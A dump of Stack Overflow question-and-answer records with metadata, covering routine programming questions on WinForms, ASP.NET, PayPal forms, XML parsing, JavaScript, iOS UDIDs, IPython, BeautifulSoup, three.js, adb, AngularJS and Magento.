<p>Just like that.</p> | 4,903,348 | 6 | 0 | null | 2011-02-04 21:23:15.137 UTC | 8 | 2020-01-08 18:32:55.903 UTC | 2015-11-09 07:27:38.477 UTC | null | 107,625 | null | 486,058 | null | 1 | 32 | c#|.net|winforms|textbox|padding | 66,837 | <p>As you have most likely discovered, Winforms Textboxes do not have a padding property. Since Panels do expose a Padding property, one technique would be to:</p>
<ol>
<li>Create a Panel</li>
<li>Set its border to match a Textbox (e.g., Fixed3D)</li>
<li>Set its background color to match a Textbox (e.g., White or Window)</li>
<li>Set its padding to your satisfaction (e.g., 10,3,10,3)</li>
<li>Add a Textbox inside the panel</li>
<li>Set the Textbox's border to none</li>
<li>Play with the Textbox's Dock and Anchor properties do get desired effect</li>
</ol>
<p>This should get you started. You could also create a custom control that does the same thing as mentioned above. </p>
<p>In case you were talking about Textboxes in asp.net, just use CSS:<br>
<code>input[type="text"] {padding: 3px 10px}</code> </p> |
5,564,862 | The remote host closed the connection. The error code is 0x800704CD | <p>I receive error emails from my website whenever an exception occurs. I am getting this error:</p>
<blockquote>
<p>The remote host closed the connection. The error code is 0x800704CD</p>
</blockquote>
<p>and don't know why. I get about 30 a day. I can't reproduce the error either so can't track down the issue.</p>
<p>Website is ASP.NET 2 running on IIS7.</p>
<p>Stack trace:</p>
<blockquote>
<p>at
System.Web.Hosting.IIS7WorkerRequest.RaiseCommunicationError(Int32
result, Boolean throwOnDisconnect) at
System.Web.Hosting.IIS7WorkerRequest.ExplicitFlush()
at
System.Web.HttpResponse.Flush(Boolean
finalFlush) at
System.Web.HttpResponse.Flush() at
System.Web.HttpResponse.End() at
System.Web.UI.HttpResponseWrapper.System.Web.UI.IHttpResponse.End()
at
System.Web.UI.PageRequestManager.OnPageError(Object
sender, EventArgs e) at
System.Web.UI.TemplateControl.OnError(EventArgs
e) at
System.Web.UI.Page.HandleError(Exception
e) at
System.Web.UI.Page.ProcessRequestMain(Boolean
includeStagesBeforeAsyncPoint, Boolean
includeStagesAfterAsyncPoint) at
System.Web.UI.Page.ProcessRequest(Boolean
includeStagesBeforeAsyncPoint, Boolean
includeStagesAfterAsyncPoint) at
System.Web.UI.Page.ProcessRequest() at
System.Web.UI.Page.ProcessRequestWithNoAssert(HttpContext
context) at
System.Web.UI.Page.ProcessRequest(HttpContext
context) at
ASP.default_aspx.ProcessRequest(HttpContext
context) at
System.Web.HttpApplication.CallHandlerExecutionStep.System.Web.HttpApplication.IExecutionStep.Execute()
at
System.Web.HttpApplication.ExecuteStep(IExecutionStep
step, Boolean& completedSynchronously)</p>
</blockquote> | 5,564,892 | 6 | 1 | null | 2011-04-06 10:26:24.71 UTC | 9 | 2018-12-27 06:40:07.197 UTC | 2017-01-05 23:25:06.957 UTC | null | 41,956 | null | 261,682 | null | 1 | 88 | asp.net|iis-7 | 145,331 | <p>I get this one all the time. It means that the user started to download a file, and then it either <strong>failed</strong>, or they <strong>cancelled</strong> it.</p>
<p>To reproduce the exception try do this yourself - however I'm unaware of any ways to prevent it (except for handling this specific exception only).</p>
<p>You need to decide what the best way forward is depending on your app.</p> |
5,255,571 | Passing price variable to PayPal with custom button | <p>I have a form and a custom PayPal button, but how do I pass the value/price variable to PayPal?</p>
<pre><code><form action="https://www.paypal.com/cgi-bin/webscr" method="post">
<input type="hidden" name="cmd" value="_s-xclick">
<input type="hidden" name="hosted_button_id" value="ZEFZFYBY2SZB8">
<input type="image" src="https://www.paypal.com/en_US/i/btn/btn_paynowCC_LG.gif" border="0" name="submit" alt="PayPal - The safer, easier way to pay online!">
<img alt="" border="0" src="https://www.paypal.com/en_US/i/scr/pixel.gif" width="1" height="1">
</form>
</code></pre>
<p>I have a variable <code>$total = "238.00";</code></p> | 5,255,595 | 8 | 0 | null | 2011-03-10 04:46:45.43 UTC | 15 | 2020-05-11 23:57:09.563 UTC | 2016-02-20 15:27:37.083 UTC | null | 63,550 | null | 536,739 | null | 1 | 29 | php|paypal | 69,891 | <p>Add one more hidden field for amount</p>
<pre><code><input type="hidden" name="amount" value="<?php echo $total; ?>">
</code></pre> |
5,138,696 | org.xml.sax.SAXParseException: Content is not allowed in prolog | <p>I have a Java based web service client connected to Java web service (implemented on the Axis1 framework). </p>
<p>I am getting following exception in my log file:</p>
<pre><code>Caused by: org.xml.sax.SAXParseException: Content is not allowed in prolog.
at org.apache.xerces.util.ErrorHandlerWrapper.createSAXParseException(Unknown Source)
at org.apache.xerces.util.ErrorHandlerWrapper.fatalError(Unknown Source)
at org.apache.xerces.impl.XMLErrorReporter.reportError(Unknown Source)
at org.apache.xerces.impl.XMLErrorReporter.reportError(Unknown Source)
at org.apache.xerces.impl.XMLScanner.reportFatalError(Unknown Source)
at org.apache.xerces.impl.XMLDocumentScannerImpl$PrologDispatcher.dispatch(Unknown Source)
at org.apache.xerces.impl.XMLDocumentFragmentScannerImpl.scanDocument(Unknown Source)
at org.apache.xerces.parsers.XML11Configuration.parse(Unknown Source)
at org.apache.xerces.parsers.XML11Configuration.parse(Unknown Source)
at org.apache.xerces.parsers.XMLParser.parse(Unknown Source)
at org.apache.xerces.parsers.AbstractSAXParser.parse(Unknown Source)
at javax.xml.parsers.SAXParser.parse(Unknown Source)
at org.apache.axis.encoding.DeserializationContext.parse(DeserializationContext.java:227)
at org.apache.axis.SOAPPart.getAsSOAPEnvelope(SOAPPart.java:696)
at org.apache.axis.Message.getSOAPEnvelope(Message.java:435)
at org.apache.ws.axis.security.WSDoAllReceiver.invoke(WSDoAllReceiver.java:114)
at org.apache.axis.strategies.InvocationStrategy.visit(InvocationStrategy.java:32)
at org.apache.axis.SimpleChain.doVisiting(SimpleChain.java:118)
at org.apache.axis.SimpleChain.invoke(SimpleChain.java:83)
at org.apache.axis.client.AxisClient.invoke(AxisClient.java:198)
at org.apache.axis.client.Call.invokeEngine(Call.java:2784)
at org.apache.axis.client.Call.invoke(Call.java:2767)
at org.apache.axis.client.Call.invoke(Call.java:2443)
at org.apache.axis.client.Call.invoke(Call.java:2366)
at org.apache.axis.client.Call.invoke(Call.java:1812)
</code></pre> | 7,697,281 | 32 | 4 | null | 2011-02-28 05:54:52.69 UTC | 27 | 2021-12-30 12:32:06.81 UTC | 2016-05-12 13:37:28.72 UTC | null | 5,183,619 | null | 531,321 | null | 1 | 199 | java|xml | 688,944 | <p>This is often caused by a white space before the XML declaration, but it could be <strong>any text</strong>, like a dash or any character. I say often caused by white space because people assume white space is always ignorable, but that's not the case here.</p>
<hr>
<p>Another thing that often happens is a <strong>UTF-8 BOM</strong> (byte order mark), which <em>is</em> allowed before the XML declaration can be treated as whitespace if the document is handed as a stream of characters to an XML parser rather than as a stream of bytes.</p>
<p>The same can happen if schema files (.xsd) are used to validate the xml file and one of the schema files has an <strong>UTF-8 BOM</strong>.</p> |
17,036,686 | Ranking algorithms | <p>I have around 4000 blog posts with me. I wanna rank all posts according to the following values </p>
<pre><code>Upvote Count => P
Comments Recieved => C
Share Count => S
Created time in Epoch => E
Follower Count of Category which post belongs to => F (one post has one category)
User Weight => U (User with most number of post have biggest weight)
</code></pre>
<p>I am expecting answer in pseudo code. </p> | 17,038,358 | 2 | 1 | null | 2013-06-11 04:50:02.023 UTC | 15 | 2013-06-11 07:14:34.19 UTC | 2013-06-11 07:11:17.117 UTC | null | 1,828,879 | null | 519,680 | null | 1 | 12 | algorithm|math|machine-learning|ranking|rank | 8,581 | <p>Your problem falls into the category of <a href="http://en.wikipedia.org/wiki/Regression_analysis" rel="noreferrer"><strong>regression</strong> (link)</a>. In machine learning terms, you have a collection of <a href="http://en.wikipedia.org/wiki/Feature_(machine_learning)" rel="noreferrer"><strong>features</strong> (link)</a> (which you list in your question) and you have a <strong>score</strong> value that you want to <strong>predict</strong> given those features.</p>
<p>What Ted Hopp has suggested is basically a <a href="http://en.wikipedia.org/wiki/Linear_predictor_function" rel="noreferrer"><strong>linear predictor function</strong> (link)</a>. That might be too simple a model for your scenario.</p>
<p>Consider using <a href="http://en.wikipedia.org/wiki/Logistic_regression" rel="noreferrer"><strong>logistic regression</strong> (link)</a> for your problem. Here's how you would go about using it.</p>
<h1>1. create your model-learning dataset</h1>
<p>Randomly select some <code>m</code> blog posts from your set of 4000. It should be a small enough set that you can comfortably look through these <code>m</code> blog posts by hand.</p>
<p>For each of the <code>m</code> blog posts, score how "good" it is with a number from <code>0</code> to <code>1</code>. If it helps, you can think of this as using <code>0, 1, 2, 3, 4</code> "stars" for the values <code>0, 0.25, 0.5, 0.75, 1</code>.</p>
<p>You now have <code>m</code> blog posts that each have a set of features and a score.</p>
<p>You can optionally expand your feature set to include derived features - for example, you could include the logarithm of the "Upvote Count," the "Comments Recieved", the "Share Count," and the "Follower Count," and you could include the logarithm of the number of hours between "now" and "Created Time."</p>
<h1>2. learn your model</h1>
<p>Use gradient descent to find a logistic regression model that fits your model-learning dataset. You should partition your dataset into <strong>training</strong>, <strong>validation</strong>, and <strong>test</strong> sets so that you can carry out those respective steps in the model-learning process.</p>
<p>I won't elaborate any more on this section because the internet is full of the details and it's a canned process.</p>
<p>Wikipedia links:</p>
<ul>
<li><a href="http://en.wikipedia.org/wiki/Gradient_descent" rel="noreferrer">Gradient descent</a></li>
<li><a href="http://en.wikipedia.org/wiki/Logistic_regression#Model_fitting" rel="noreferrer">Logistic regression model fitting</a></li>
</ul>
<h1>3. apply your model</h1>
<p>Having learned your logistic regression model, you can now apply it to predict the score for how "good" a new blog post is! Simply compute the set of features (and derived features), then use your model to map those features to a score.</p>
<p>Again, the internet is full of the details for this section, which is a canned process.</p>
<hr>
<p>If you have any questions, make sure to ask!</p>
<p>If you're interested in learning more about machine learning, you should consider taking <a href="https://class.coursera.org/ml/class/index" rel="noreferrer">the <strong>free</strong> online Stanford Machine Learning course on Coursera.org</a>. <em>(I'm not affiliated with Stanford or Coursera.)</em></p> |
12,613,363 | Subclassing MKOverlayPathView to create MKPolylineView | <p>Has anyone attempted to subclass <code>MKOverlayPathView</code> in order to, essentially, recreate <code>MKPolylineView</code> with more control of the path drawing? If so, would you be willing to share some example code?</p>
<p>I want to draw an <code>MKPolyline</code> on a map view but <code>MKPolylineView</code> does not offer enough flexibility in how the path is drawn. For instance I want to add a stroke and highlight on the line like the routes seen in the Maps app.</p>
<p><img src="https://i.stack.imgur.com/2JQei.png" alt="enter image description here"></p> | 15,002,361 | 1 | 2 | null | 2012-09-27 02:46:53.477 UTC | 8 | 2013-02-21 12:32:38.667 UTC | 2012-12-30 05:54:36.577 UTC | null | 1,756,131 | null | 1,198,480 | null | 1 | 8 | ios|mapkit | 1,159 | <p>I came across this today when I was looking for a way to draw a border around an <code>MKPolylineView</code>. After a bit of research and digging around, I created my own simple subclass of <code>MKOverlayPathView</code> which works as a drop-in replacement of <code>MKPolylineView</code> and adds support for drawing a border.</p>
<p>It ended up being very simple, you can take a look at the sample code on GitHub <a href="https://github.com/nighthawk/ASPolylineView" rel="nofollow">ASPolylineView</a> or take a look at my <a href="http://nighthawk.github.com/blog/2013/02/21/drawing-multi-coloured-lines-on-an-mkmapview/" rel="nofollow">brief blog post</a> describing the main things that need to be done. It's a good building block to get started with more advanced custom drawing. For a more sophisticated subclass of <code>MKOverlayPathView</code>, take a look at <a href="https://github.com/cocoatoucher/AIMapViewWrapper/tree/master/AIMapViewWrapper/AIMapViewWrapper/Routing" rel="nofollow">AIMapViewWrapper</a> - especially the <code>AIOverlayRouteView</code> class.</p> |
12,095,378 | Difference between e.printStackTrace and System.out.println(e) | <p>Probably a newbie question, but everyone seems to use <code>e.printStackTrace()</code>, but I have always used <code>System.out.println(e)</code> when exception handling. What is the difference and why is <code>e.printStackTrace()</code> preferable?</p> | 12,095,452 | 7 | 1 | null | 2012-08-23 15:41:41.467 UTC | 11 | 2021-09-04 13:31:12.16 UTC | 2012-08-23 15:43:50.793 UTC | null | 1,449,199 | null | 1,532,256 | null | 1 | 33 | java|exception|exception-handling | 86,179 | <p>The output stream used is not the same as pointed out by @Brian, but the level of detail is not the same either - you can try with the simple test below. Output:</p>
<p>With <code>println</code>: you only know what exception has been thrown</p>
<blockquote>
<p>java.lang.UnsupportedOperationException: Not yet implemented </p>
</blockquote>
<p>With <code>printStackTrace</code>: you also know what caused it <em>(line numbers + call stack)</em></p>
<blockquote>
<p>java.lang.UnsupportedOperationException: Not yet implemented<br>
at javaapplication27.Test1.test(Test1.java:27)<br>
at javaapplication27.Test1.main(Test1.java:19)</p>
</blockquote>
<pre><code>public static void main(String[] args){
try {
test();
} catch (UnsupportedOperationException e) {
System.out.println(e);
e.printStackTrace();
}
}
private static void test() {
throw new UnsupportedOperationException("Not yet implemented");
}
</code></pre> |
12,303,989 | Cartesian product of multiple arrays in JavaScript | <p>How would you implement the Cartesian product of multiple arrays in JavaScript?</p>
<p>As an example,</p>
<pre><code>cartesian([1, 2], [10, 20], [100, 200, 300])
</code></pre>
<p>should return</p>
<pre><code>[
[1, 10, 100],
[1, 10, 200],
[1, 10, 300],
[2, 10, 100],
[2, 10, 200]
...
]
</code></pre> | 12,628,791 | 35 | 6 | null | 2012-09-06 15:59:56.847 UTC | 61 | 2022-09-08 06:54:20.573 UTC | 2021-08-10 10:23:25.16 UTC | user16596785 | null | null | 813,665 | null | 1 | 167 | javascript|arrays|algorithm|cartesian-product | 71,753 | <p>Here is a functional solution to the problem (without any <strong>mutable variable</strong>!) using <code>reduce</code> and <code>flatten</code>, provided by <code>underscore.js</code>:</p>
<p><div class="snippet" data-lang="js" data-hide="false" data-console="true" data-babel="false">
<div class="snippet-code">
<pre class="snippet-code-js lang-js prettyprint-override"><code>function cartesianProductOf() {
return _.reduce(arguments, function(a, b) {
return _.flatten(_.map(a, function(x) {
return _.map(b, function(y) {
return x.concat([y]);
});
}), true);
}, [ [] ]);
}
// [[1,3,"a"],[1,3,"b"],[1,4,"a"],[1,4,"b"],[2,3,"a"],[2,3,"b"],[2,4,"a"],[2,4,"b"]]
console.log(cartesianProductOf([1, 2], [3, 4], ['a'])); </code></pre>
<pre class="snippet-code-html lang-html prettyprint-override"><code><script src="https://cdnjs.cloudflare.com/ajax/libs/underscore.js/1.9.1/underscore.js"></script></code></pre>
</div>
</div>
</p>
<p>Remark: This solution was inspired by <a href="http://cwestblog.com/2011/05/02/cartesian-product-of-multiple-arrays/" rel="noreferrer">http://cwestblog.com/2011/05/02/cartesian-product-of-multiple-arrays/</a></p> |
3,976,714 | Converting string "true" / "false" to boolean value | <p>I have a JavaScript string containing <code>"true"</code> or <code>"false"</code>.</p>
<p>How may I convert it to boolean without using the <code>eval</code> function?</p> | 3,976,741 | 3 | 3 | null | 2010-10-20 10:09:23.187 UTC | 24 | 2018-09-07 13:01:23.273 UTC | 2018-09-07 13:01:23.273 UTC | null | 4,642,212 | null | 160,820 | null | 1 | 202 | javascript|boolean | 291,329 | <pre><code>var val = (string === "true");
</code></pre> |
19,032,162 | Is there a way since (iOS 7's release) to get the UDID without using iTunes on a PC/Mac? | <p>I'm developing an app for my company and we're going through the process of slowly letting people into the "beta" by adding their iPads to the company's iOS Dev Center accounts. From there we do an ad hoc build for local Intranet distribution.</p>
<p>At my last gig, I would direct people to one of those "find my UDID for me" apps, then get them to send me the UDID it found. </p>
<p>iOS 7 has cut this off - those apps are all gone now and if you do still have one, it returns some GUID that has nothing to do with the UDID. </p>
<p>So what I'm having to do is connect each of these things to my Mac, then get the UDID from iTunes, which is kind of a hassle (but less tedious than trying to explain to them how to get it from iTunes, assuming they even have it installed). And sometimes it tries to sync with my Mac, which doesn't seem to have any effect other than putting on provisioning profiles I don't want on the device. And at least once I've had an iPad just suddenly decide to upgrade itself from iOS 6 to iOS 7 which I'm not sure is related to being plugged in (and in this case the user didn't want it upgraded). </p>
<p>So is there any other way to get the UDID from the iPad other than plugging it into a machine? </p>
<p><strong>TO BE CLEAR:</strong> I'm not trying to get the UDID in an app, I'm just trying to think of the quickest way to get the UDID to add to the device list in our developer profile for distribution.</p> | 19,040,787 | 18 | 9 | null | 2013-09-26 15:17:15.31 UTC | 30 | 2017-03-20 11:46:59.437 UTC | null | null | null | null | 2,577 | null | 1 | 82 | ios7|itunes|provisioning-profile|udid | 112,805 | <p>Here's my research results:</p>
<p>Apple has hidden the UDID from all public APIs, starting with iOS 7. Any UDID that begins with FFFF is a fake ID. The "Send UDID" apps that previously worked can no longer be used to gather UDID for test devices. (sigh!)</p>
<p>The UDID is shown when a device is connected to XCode (in the organizer), and when the device is connected to iTunes (although you have to click on 'Serial Number' to get the Identifier to display. </p>
<p>If you need to get the UDID for a device to add to a provisioning profile, and can't do it yourself in XCode, you will have to walk them through the steps to copy/paste it from iTunes. </p>
<p>UPDATE -- see <a href="https://stackoverflow.com/a/20546823/363573">okiharaherbst's answer</a> below for a script based approach to allow test users to provide you with their device UDIDs by hosting a mobileconfig file on a server</p> |
20,388,563 | Chrome Console: VM | <p>When executing a script directly in the console in Chrome, I saw this:</p>
<p><img src="https://i.stack.imgur.com/Pzlvk.png" alt="enter image description here"></p>
<p>Does anyone know what's the meaning of VM117:2</p>
<p>What does VM stand for ?</p> | 20,393,883 | 2 | 6 | null | 2013-12-04 23:47:26.443 UTC | 12 | 2021-04-09 18:39:35.793 UTC | null | null | null | null | 1,993,501 | null | 1 | 52 | google-chrome|google-chrome-devtools | 28,123 | <p>It is abbreviation of the phrase Virtual Machine.
In the Chrome JavaScript engine (called V8) each script has its own script ID.</p>
<p>Sometimes V8 has no information about the file name of a script, for example in the case of an <code>eval</code>. So devtools uses the text "VM" concatenated with the script ID as a title for these scripts.</p>
<p>Some sites may fetch many pieces of JavaScript code via XHR and <code>eval</code> it. If a developer wants to see the actual script name for these scripts she can use <a href="http://updates.html5rocks.com/2013/06/sourceMappingURL-and-sourceURL-syntax-changed">sourceURL</a>. DevTools parses and uses it for titles, mapping etc.</p> |
11,021,853 | Multiple directories and/or subdirectories in IPython Notebook session? | <p>The IPython documentation pages suggest that opening several different sessions of IPython notebook is the only way to interact with saved notebooks in different directories or subdirectories, but this is not explicitly confirmed anywhere.</p>
<p>I am facing a situation where I might need to interact with hundreds of different notebooks, which are classified according to different properties and stored in subdirectories of a main directory. I have set that main directory (let's call it <code>/main</code>) in the <code>ipython_notebook_config.py</code> configuration file to be the default directory. </p>
<p>When I launch IPython notebook, indeed it displays any saved notebooks that are within <code>/main</code> (but <em>not</em> saved notebooks within subdirectories within <code>/main</code>).</p>
<p>How can I achieve one single IPython dashboard that shows me the notebooks within <code>/main</code> <em>and also</em> shows subdirectories, lets me expand a subdirectory and choose from its contents, or just shows all notebooks from all subdirectories?</p>
<p>Doing this by launching new instances of IPython every time is completely out of the question.</p>
<p>I'm willing to tinker with source code if I have to for this ability. It's an extremely basic sort of feature, we need it, and it's surprising that it's not just the default IPython behavior. For any amount of saved notebooks over maybe 10 or 15, this feature is <em>necessary</em>.</p> | 11,025,306 | 2 | 1 | null | 2012-06-13 19:19:51.43 UTC | 7 | 2015-02-06 22:08:27.407 UTC | 2012-06-13 19:27:44.347 UTC | null | 567,620 | null | 567,620 | null | 1 | 32 | python|ipython|directory|subdirectory | 8,850 | <blockquote>
<p>The IPython documentation pages suggest that opening several different sessions of IPython notebook is the only way to interact with saved notebooks in different directories or subdirectories, but this is not explicitly confirmed anywhere.</p>
</blockquote>
<p>Yes, this is a current (<em>temporary</em>) limitation of the Notebook server. Multi-directory support is very high on the notebook todo list (unfortunately that list is long, and devs are few and have day jobs), it is just not there yet. By 0.14 (Fall, probably), you should have no reason to be running more than one nb server, but for now that's the only option for multiple directories. All that is missing for a simple first draft is:</p>
<ol>
<li>Associating individual notebooks with directories (fairly trivial), and</li>
<li>Web UI for simple filesystem navigation (slightly less trivial).</li>
</ol>
<blockquote>
<p>I'm willing to tinker with source code if I have to for this ability</p>
</blockquote>
<p>The limiting factor, if you want to poke around in the source, is the <a href="https://github.com/ipython/ipython/blob/rel-0.13/IPython/frontend/html/notebook/notebookmanager.py" rel="nofollow">NotebookManager</a>, which is associated with a particular directory. If you tweak the list_notebooks() method to handle subdirectories, you are 90% there.</p>
<p>I was curious about this as well, so I tossed together an quick example <a href="https://github.com/minrk/ipython/tree/nbwalk" rel="nofollow">here</a> that allows you to at least read/run/edit/save notebooks in subdirs (walk depth is limited to 2, but easy to change). Any new notebooks will be in the top-level dir, and there is no UI for moving them around.</p> |
11,205,386 | Get an attribute value based on the name attribute with BeautifulSoup | <p>I want to print an attribute value based on its name, take for example</p>
<pre><code><META NAME="City" content="Austin">
</code></pre>
<p>I want to do something like this</p>
<pre class="lang-py prettyprint-override"><code>soup = BeautifulSoup(f) # f is some HTML containing the above meta tag
for meta_tag in soup("meta"):
if meta_tag["name"] == "City":
print(meta_tag["content"])
</code></pre>
<p>The above code give a <code>KeyError: 'name'</code>, I believe this is because name is used by BeatifulSoup so it can't be used as a keyword argument.</p> | 11,205,758 | 7 | 0 | null | 2012-06-26 10:29:43.48 UTC | 40 | 2022-09-17 13:26:10.687 UTC | 2021-03-23 13:14:41.33 UTC | null | 562,769 | null | 135,675 | null | 1 | 115 | python|beautifulsoup | 193,320 | <p>It's pretty simple, use the following:</p>
<pre><code>>>> from bs4 import BeautifulSoup
>>> soup = BeautifulSoup('<META NAME="City" content="Austin">')
>>> soup.find("meta", {"name":"City"})
<meta name="City" content="Austin" />
>>> soup.find("meta", {"name":"City"})['content']
'Austin'
</code></pre> |
13,105,776 | How can I split my javascript code into separate files? | <p>I'm reading the Javascript <a href="https://developer.mozilla.org/en-US/docs/JavaScript/Guide/Details_of_the_Object_Model" rel="noreferrer">Guide</a> from Mozilla
And when they contrasted JS to Java , It got me thinking, Java code is easily split up with each class in his own file. after futher search , I understand that the same can be accomplished in JS with namespacing and module pattern - I messed around with it but got very confused ( especially with calling a constructor declared in File1.js into File2.js )</p>
<p>so here is the hierarchy:
<img src="https://i.stack.imgur.com/wWZ37.png" alt=" class organization "></p>
<p>But i just can't figure out how to properly make it works</p>
<p>how do i simply go from </p>
<pre><code>//employe.js
function Employee () {
this.name = "";
this.dept = "general";
}
function Manager () {
this.reports = [];
}
Manager.prototype = new Employee;
function WorkerBee () {
this.projects = [];
}
WorkerBee.prototype = new Employee;
function SalesPerson () {
this.dept = "sales";
this.quota = 100;
}
SalesPerson.prototype = new WorkerBee;
</code></pre>
<p>to this :</p>
<pre><code> // employe.js
function Employee () {
this.name = "";
this.dept = "general";
}
// Manager.js
function Manager () {
this.reports = [];
}
Manager.prototype = new Employee;
// WorkerBee.js
function WorkerBee () {
this.projects = [];
}
WorkerBee.prototype = new Employee;
// SalesPerson.js
function SalesPerson () {
this.dept = "sales";
this.quota = 100;
}
SalesPerson.prototype = new WorkerBee;
</code></pre> | 13,105,794 | 3 | 5 | null | 2012-10-28 02:01:18.943 UTC | 14 | 2019-04-04 00:09:36.833 UTC | 2012-10-28 02:24:22.167 UTC | null | 933,198 | null | 623,546 | null | 1 | 27 | javascript|class|dependencies|hierarchy | 29,699 | <p>You should have one <em>global</em> namespacing object which every module has to access and write to. Modify your files like so:</p>
<pre><code>// employe.js
window.myNameSpace = window.myNameSpace || { };
myNameSpace.Employee = function() {
this.name = "";
this.dept = "general";
};
</code></pre>
<p>and <em>Manager.js</em> could look like</p>
<pre><code>// Manager.js
window.myNameSpace = window.myNameSpace || { };
myNameSpace.Manager = function() {
this.reports = [];
}
myNameSpace.Manager.prototype = new myNameSpace.Employee;
</code></pre>
<p>This is of course a very simplified example. Because the order of loading files and dependencies is not child-play. There are some good librarys and patterns available, I recommend you looking at <em>requireJS</em> and <em>AMD</em> or <em>CommonJS</em> module patterns. <a href="http://requirejs.org/" rel="noreferrer">http://requirejs.org/</a></p> |
12,666,570 | How to change the zOrder of object with Threejs? | <p>I made a scene using the webgl renderer where I put multiple 3D objects that I can select and move. However when an object is selected, I'd like to draw its axes. No problem with drawing the lines to the center of the object but I'd like them to appear in front of anything else on the scene so that they are visible even if other objects are in front - Like in Blender.</p>
<p>I tried to play with the renderDepth param but I don't think I understood how to use it and I didn't get any result.</p>
<p>Thank you for your help.</p> | 12,666,937 | 1 | 0 | null | 2012-10-01 01:24:20.947 UTC | 26 | 2022-07-17 23:40:28.027 UTC | 2013-10-08 21:44:51.353 UTC | null | 128,511 | null | 1,710,610 | null | 1 | 31 | three.js | 24,317 | <p>If you want some objects to render "on top", or "in front", one trick is to create two scenes -- the first scene is your regular scene, and the second scene contains the objects that you want to have on top.</p>
<p>First, set</p>
<pre><code>renderer.autoClear = false;
</code></pre>
<p>Then create two scenes</p>
<pre><code>var scene = new THREE.Scene();
var scene2 = new THREE.Scene();
</code></pre>
<p>Add your objects to the first scene as usual, and add the objects you want to have "on top" to the second scene.</p>
<p>Then, in your <code>render()</code> function, do this:</p>
<pre><code>renderer.clear();
renderer.render( scene, camera );
renderer.clearDepth();
renderer.render( scene2, camera );
</code></pre>
<p>This will render the first scene, clear the depth buffer, and then render the second scene on top.</p>
<p>three.js r.142</p> |
12,901,240 | ADB push multiple files with the same extension with a single command | <p>I want to push some files of the same type (<code>.img</code>) to the <code>/sdcard</code> partition of the phone with a single command. But the wildcard does not work:</p>
<pre><code>adb push *.img /sdcard/
</code></pre>
<p>Is there any way I can achieve that?</p> | 12,901,290 | 5 | 0 | null | 2012-10-15 17:53:11.957 UTC | 10 | 2019-07-08 07:14:50.14 UTC | 2016-03-29 14:06:09.997 UTC | null | 2,521,769 | null | 1,747,871 | null | 1 | 43 | android|push|adb | 38,279 | <p>Copy the <code>*.img</code> files to an empty directory, then push the directory (<code>adb push /tmp/images /storage/sdcard0</code>). <code>adb</code> will push all files in that directory to your designated location.</p>
<p>BTW, <code>/sdcard</code> as a path has been obsolete for quite some time, so please make sure you use a destination that exists and is supported by your device. Most Android 2.x/3.x/4.0 devices use <code>/mnt/sdcard</code>; Android 4.1 uses <code>/storage/sdcard0</code>.</p> |
12,994,710 | in angularjs how to access the element that triggered the event? | <p>I use both Bootstrap and AngularJS in my web app. I'm having some difficulty getting the two to work together.</p>
<p>I have an element, which has the attribute <code>data-provide="typeahead"</code></p>
<pre><code><input id="searchText" ng-model="searchText" type="text"
class="input-medium search-query" placeholder="title"
data-provide="typeahead" ng-change="updateTypeahead()" />
</code></pre>
<p>And I want to update the <code>data-source</code> attribute when the user inputs in the field. The function <code>updateTypeahead</code> is triggered correctly, but I don't have access to the element that triggered the event, unless I use <code>$('#searchText')</code>, which is the jQuery way, not the AngularJS way.</p>
<p>What is the best way to get AngularJS to work with old style JS module.</p> | 13,000,154 | 6 | 0 | null | 2012-10-21 03:31:05.3 UTC | 21 | 2018-08-17 05:56:52.343 UTC | 2016-03-11 08:27:51.437 UTC | null | 23,562 | null | 309,830 | null | 1 | 95 | javascript|angularjs | 167,207 | <pre><code> updateTypeahead(this)
</code></pre>
<p>will not pass DOM element to the function <code>updateTypeahead(this)</code>. Here <code>this</code> will refer to the scope. <s>If you want to access the DOM element use <code>updateTypeahead($event)</code>. In the callback function you can get the DOM element by <code>event.target</code>.</s></p>
<blockquote>
<p>Please Note : ng-change function doesn't allow to pass $event as variable.</p>
</blockquote> |
4,378,394 | Magento - Adding a new column to sales_flat_quote_item and sales_flat_order_item | <p>I'm working with Magento version 1.4.1.1, and I want to save a value in <code>sales_flat_quote_item</code> table (and pass it to <code>sales_flat_order_item</code>). </p>
<p>I've found <a href="http://www.magentocommerce.com/wiki/5_-_modules_and_development/adding_a_new_column_to_an_existing_table_in_the_database" rel="nofollow">this tutorial</a>, but I'm not sure if it's still relevant (to Magento version 1.4.1.1) since it talks about a table called <code>sales_order</code>, which I believe is now <code>sales_flat_order</code> and looks a bit different.</p>
<p>Should this method still work? If so - Can I use it for <code>sales_flat_quote_item</code> and <code>sales_flat_order_item</code> and what <code>entity_type_id</code> should I put in the commend : </p>
<pre><code>`insert into eav_attribute('entity_type_id','attribute_code','attribute_model','backend_model','backend_type','backend_table','frontend_model','frontend_input','frontend_input_renderer','frontend_label','frontend_class','source_model','is_global','is_visible','is_required','is_user_defined','default_value','is_searchable','is_filterable','is_comparable','is_visible_on_front','is_html_allowed_on_front','is_unique','is_used_for_price_rules','is_filterable_in_search','used_in_product_listing','used_for_sort_by','is_configurable','apply_to','position','note','is_visible_in_advanced_search' )
values(11, 'my_new_column', null, '', 'static', '', '', 'text', '','',null, '', 1,1,1,0,'',0,0,0,0,0,0,1,0,0,0,1,'',0,'',0);`
</code></pre>
<p>If this is not the way to do that in the new Magento version, how should I do that?</p>
<p>Thanks,
Shani</p> | 4,378,681 | 2 | 0 | null | 2010-12-07 15:33:28.177 UTC | 11 | 2012-08-09 12:19:25.22 UTC | 2010-12-07 17:28:36.047 UTC | null | 226,431 | null | 464,674 | null | 1 | 4 | php|magento|magento-1.4 | 17,226 | <ol>
<li><p>Create a new module with own setup class extended from <code>Mage_Sales_Model_Mysql4_Setup</code> or just use it as module setup class in <code>config.xml</code>:</p>
<pre><code> <global>
<resources>
<your_module_setup>
<setup>
<module>Your_Module</module>
<class>Mage_Sales_Model_Mysql4_Setup</class>
</setup>
</your_module_setup>
</resources>
</global>
</code></pre></li>
<li><p>Use <code>addAttribute($entity, $attributeCode, $options)</code> method inside of your setup script, it will automatically add a new column to sales_flat_order tale. The same for other entites. </p>
<pre><code>$installer = $this;
$installer->startSetup();
$installer->addAttribute(
'order',
'your_attribute_code',
array(
'type' => 'int', /* varchar, text, decimal, datetime */,
'grid' => false /* or true if you wan't use this attribute on orders grid page */
)
);
$installer->endSetup();
</code></pre></li>
</ol> |
